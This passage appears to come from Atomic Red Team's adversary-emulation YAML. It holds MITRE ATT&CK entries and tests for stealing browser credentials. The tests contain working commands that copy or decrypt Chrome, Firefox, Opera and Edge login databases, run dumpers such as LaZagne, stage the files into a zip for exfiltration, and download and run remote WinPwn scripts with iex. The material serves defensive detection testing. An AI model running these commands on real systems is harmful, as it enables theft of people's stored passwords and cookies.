-ErrorAction Ignore ' name: powershell - name: Search macOS Safari Cookies auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b description: | This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware. Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`. supported_platforms: - macos input_arguments: search_string: description: String to search Safari cookies to find. type: string default: coinbase executor: command: | cd ~/Library/Cookies grep -q "#{search_string}" "Cookies.binarycookies" name: sh - name: LaZagne - Credentials from Browser auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014 description: "The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.\nLaZagne is an open source application used to retrieve passwords stored on a local computer. \n" supported_platforms: - windows input_arguments: lazagne_path: description: Path to LaZagne type: path default: PathToAtomicsFolder\T1555.003\bin\LaZagne.exe dependency_executor_name: powershell dependencies: - description: 'LaZagne.exe must exist on disk at specified location (#{lazagne_path}) ' prereq_command: 'if (Test-Path "#{lazagne_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{lazagne_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe" -OutFile "#{lazagne_path}" executor: name: command_prompt elevation_required: true command: '"#{lazagne_path}" browsers ' - name: Simulating access to Chrome Login Data auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d description: "Simulates an adversary accessing encrypted credentials from Google Chrome Login database. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi msiexec /i $installer /qn Start-Process -FilePath "chrome.exe" Stop-Process -Name "chrome" executor: name: powershell command: | Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads" Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads" cleanup_command: | Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore - name: Simulating access to Opera Login Data auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b description: "Simulates an adversary accessing encrypted credentials from Opera web browser's login database. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Opera must be installed ' prereq_command: if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe") -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe" https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0' Start-Sleep -s 180 Stop-Process -Name "opera" - description: 'Opera login data file must exist ' prereq_command: if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login Data") {exit 0} else {exit 1} get_prereq_command: 'New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login Data" -ItemType File ' executor: name: powershell command: 'Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads" ' cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore ' - name: Simulating access to Windows Firefox Login Data auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c description: | Simulates an adversary accessing encrypted credentials from firefox web browser's login database. more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Firefox must be installed ' prereq_command: if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"} $installer = "PathToAtomicsFolder\..\ExternalPayloads\firefoxsetup.exe" (New-Object Net.WebClient).DownloadFile($url,$installer) Start-Process $installer -ArgumentList '/S' -Wait - description: 'Firefox login data file must exist ' prereq_command: if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1} get_prereq_command: | if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"} Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait Start-Process $firefox -NoNewWindow Start-Sleep -s 20 Stop-Process -Name firefox executor: name: powershell command: 'Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse ' cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles" -Force -ErrorAction Ignore -Recurse ' - name: Simulating access to Windows Edge Login Data auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329 description: | Simulates an adversary accessing encrypted credentials from Edge web browser's login database. more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/ supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Edge must be installed ' prereq_command: if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1} get_prereq_command: '"Installation is not implemented as Edge is a part of windows" ' - description: 'Edge login data file must exist ' prereq_command: if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1} get_prereq_command: "$edge=\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\nStart-Process $edge \nStart-Sleep -s 20\nStop-Process -Name msedge\n" executor: name: powershell command: 'Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse ' cleanup_command: 'Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -ErrorAction Ignore -Recurse ' - name: Decrypt Mozilla Passwords with Firepwd.py auto_generated_guid: dc9cd677-c70f-4df5-bd1c-f114af3c2381 description: "Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.\nUpon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. \n\nWill create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.\n" supported_platforms: - windows input_arguments: Firepwd_Path: description: Filepath for Firepwd.py type: string default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004\Scripts\Firepwd.py Out_Filepath: description: Filepath to output results to type: string default: "$env:temp\\T1555.003Test8.txt" VS_CMD_Path: description: Filepath to Visual Studio Build Tools Command prompt type: string default: C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvars64.bat Python_Path: description: Filepath to python type: string default: C:\Program Files\Python310\python.exe venv_path: description: Path to the folder for the tactics venv type: string default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1555.004 dependency_executor_name: powershell dependencies: - description: 'Firefox profile directory must be present ' prereq_command: 'if (get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" -erroraction silentlycontinue) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi" -outfile "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" msiexec.exe /i "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" /quiet sleep -s 30 start-process "$env:programfiles\Mozilla Firefox\firefox.exe". sleep -s 5 stop-process -name "firefox" - description: 'Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path} ' prereq_command: 'if (Test-Path "#{VS_CMD_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://aka.ms/vs/17/release/vs_BuildTools.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe" write-host "Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe." - description: 'Python must be installed ' prereq_command: 'if (Test-Path "#{Python_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait - description: 'Computer must have venv configured at #{venv_path} ' prereq_command: 'if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 } ' get_prereq_command: 'py -m venv "#{venv_path}" ' - description: 'Firepwd must exist at #{Firepwd_Path} ' prereq_command: 'if (Test-Path "#{Firepwd_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py" -outfile "#{Firepwd_Path}" - description: "Pycryptodome library must be installed \n" prereq_command: 'if (#{venv_path}\Scripts\pip.exe show pycryptodome) {exit 0} else {exit 1} ' get_prereq_command: 'if (test-path "#{VS_CMD_Path}"){#{venv_path}\Scripts\pip.exe install pycryptodome | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq"} ' - description: "Pyasn1 library must be installed \n" prereq_command: 'if (#{venv_path}\Scripts\pip.exe show pyasn1) {exit 0} else {exit 1} ' get_prereq_command: 'if (test-path "#{VS_CMD_Path}") & {#{venv_path}\Scripts\pip.exe install pyasn1 | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq."} ' executor: name: powershell command: | $PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath} cat #{Out_Filepath} cleanup_command: "Remove-Item -Path \"#{Out_Filepath}\" -erroraction silentlycontinue \ \n" - name: LaZagne.py - Dump Credentials from Firefox Browser auto_generated_guid: 87e88698-621b-4c45-8a89-4eaebdeaabb1 description: Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne supported_platforms: - linux input_arguments: lazagne_path: description: Path you put LaZagne Github with LaZagne.py type: string default: "/tmp/LaZagne/Linux" specific_module: description: You may change the module to "all" for all password that can be found by LaZagne.py type: string default: browsers -firefox output_file: description: This is where output for the Firefox passwords goes type: string default: "/tmp/firefox_password.txt" dependency_executor_name: sh dependencies: - description: Get Lazagne from Github and install requirements prereq_command: 'test -f #{lazagne_path}/laZagne.py' get_prereq_command: cd /tmp; git clone https://github.com/AlessandroZ/LaZagne; cd /tmp/LaZagne/; pip install -r requirements.txt - description: Needs git, python3 and some pip stuff prereq_command: which git && which python3 && which pip get_prereq_command: apt install git; apt install python3-pip -y; pip install pyasn1 psutil Crypto executor: command: 'python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}' cleanup_command: 'rm -R /tmp/LaZagne; rm -f #{output_file}' name: sh elevation_required: true - name: Stage Popular Credential Files for Exfiltration auto_generated_guid: f543635c-1705-42c3-b180-efd6dc6e7ee7 description: "This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it,\nsimulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd) or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData). \n" supported_platforms: - windows executor: name: powershell command: "$exfil_folder = \"$env:temp\\T1555.003\"\nif (test-path \"$exfil_folder\") {} else {new-item -path \"$env:temp\" -Name \"T1555.003\" -ItemType \"directory\" -force}\n$FirefoxCredsLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\nif (test-path \"$FirefoxCredsLocation\\key4.db\") {copy-item \"$FirefoxCredsLocation\\key4.db\" -destination \"$exfil_folder\\T1555.003Firefox_key4.db\"} else {}\nif (test-path \"$FirefoxCredsLocation\\logins.json\") {copy-item \"$FirefoxCredsLocation\\logins.json\" -destination \"$exfil_folder\\T1555.003Firefox_logins.json\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data For Account\"} else {}\nif (test-path \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\") {copy-item \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\" -destination \"$exfil_folder\\T1555.003Opera_Login Data\"} else {}\nif (test-path \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\") {copy-item \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\" -destination \"$exfil_folder\\T1555.003Edge_Login Data\"} else {} \ncompress-archive -path \"$exfil_folder\" -destinationpath \"$exfil_folder.zip\" -force\n" cleanup_command: "Remove-Item -Path \"$env:temp\\T1555.003.zip\" -force -erroraction silentlycontinue \nRemove-Item -Path \"$env:temp\\T1555.003\\\" -force -recurse -erroraction silentlycontinue\n" - name: WinPwn - BrowserPwn auto_generated_guid: 764ea176-fb71-494c-90ea-72e9d85dce76 description: Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn. supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') browserpwn -consoleoutput -noninteractive cleanup_command: rm .\System.Data.SQLite.dll -ErrorAction Ignore name: powershell - name: WinPwn - Loot local Credentials - mimi-kittenz auto_generated_guid: ec1d0b37-f659-4186-869f-31a554891611 description: Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') kittenz -consoleoutput -noninteractive name: powershell - name: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials auto_generated_guid: e5e3d639-6ea8-4408-9ecd-d5a286268ca0 description: PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1') Invoke-Sharpweb -command "all" name: powershell - name: Simulating Access to Chrome Login Data - MacOS auto_generated_guid: 124e13e5-d8a1-4378-a6ee-a53cd0c7e369 description: "This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. \nOnce the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. \nSee https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . \n" supported_platforms: - macos executor: command: | cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data" cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account" cleanup_command: | rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1 rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1 name: sh - name: WebBrowserPassView - Credentials from Browser auto_generated_guid: e359627f-2d90-4320-ba5e-b0f878155bbe description: The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware. supported_platforms: - windows input_arguments: webbrowserpassview_path: description: 'Path to the WebBrowserPassView executable ' type: string default: PathToAtomicsFolder\T1555.003\bin\WebBrowserPassView.exe dependency_executor_name: powershell dependencies: - description: 'Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path} ' prereq_command: 'if (Test-Path "#{webbrowserpassview_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction ignore -Force | Out-Null Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile "#{webbrowserpassview_path}" executor: command: | Start-Process "#{webbrowserpassview_path}" Start-Sleep -Second 4 Stop-Process -Name "WebBrowserPassView" name: powershell elevation_required: true - name: BrowserStealer (Chrome / Firefox / Microsoft Edge) auto_generated_guid: 6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd description: | [Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line. If using to test with Firefox, if the browser is x64 you need to use the x64 build supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Firefox must be on the device. ' prereq_command: 'if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\FirefoxStubInstaller.exe" Invoke-WebRequest -OutFile $installer "https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US" Start-Process -FilePath $installer -Wait Stop-Process -Name "firefox" - description: 'BrowserCollector must exist in the bin directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe" -Outfile: "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe" - description: 'Login Data file that is a copy of a Firefox Login Data that contains credentials for the tool to "steal." Must exist at the specified path. ' prereq_command: if (Test-Path "PathToAtomicsFolder\T1555.003\src\key4.db") {exit 0} else {exit 1} get_prereq_command: "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/key4.db?raw=true\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\key4.db\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/logins.json?raw=true\" -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\logins.json\" " executor: command: | $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Copy-Item $profile\key4.db -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null Copy-Item $profile\logins.json -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\key4.db" -Destination $profile\ > $null Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\logins.json" -Destination $profile\ > $null cd "$env:PathToAtomicsFolder\T1555.003\bin" ""|.\BrowserCollector.exe cleanup_command: | $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\key4.db" > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\logins.json" > $null name: powershell - name: Dump Chrome Login Data with esentutl auto_generated_guid: 70422253-8198-4019-b617-6be401b49fce description: | This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database. [Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/) supported_platforms: - windows input_arguments: output_path: description: File path for login data dump type: string default: "%temp%\\T1555.003_Login_Data.tmp" dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi msiexec /i $installer /qn Start-Process -FilePath "chrome.exe" Stop-Process -Name "chrome" executor: name: command_prompt command: 'esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "#{output_path}" ' cleanup_command: 'del /f /q #{output_path} > nul 2>&1 ' T1557.003: technique: modified: '2022-11-08T14:00:00.188Z' name: DHCP Spoofing description: "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: 'Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)' x_mitre_platforms: - Linux - Windows - macOS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Alex Spivakovsky, Pentera - Andrew Allen, @whitehat_zero x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5 created: '2022-03-24T19:30:56.727Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557/003 external_id: T1557.003 - source_name: rfc2131 description: Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022. url: https://datatracker.ietf.org/doc/html/rfc2131 - source_name: new_rogue_DHCP_serv_malware description: Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022. url: https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/ - source_name: rfc3315 description: J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022. url: https://datatracker.ietf.org/doc/html/rfc3315 - source_name: dhcp_serv_op_events description: Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11) - source_name: solution_monitor_dhcp_scopes description: 'Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022.' url: https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/ - source_name: w32.tidserv.g description: Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022. url: https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1552.004: technique: modified: '2023-04-12T23:52:08.194Z' name: 'Unsecured Credentials: Private Keys' description: "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Itzik Kotler, SafeBreach - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported. x_mitre_domains: - enterprise-attack 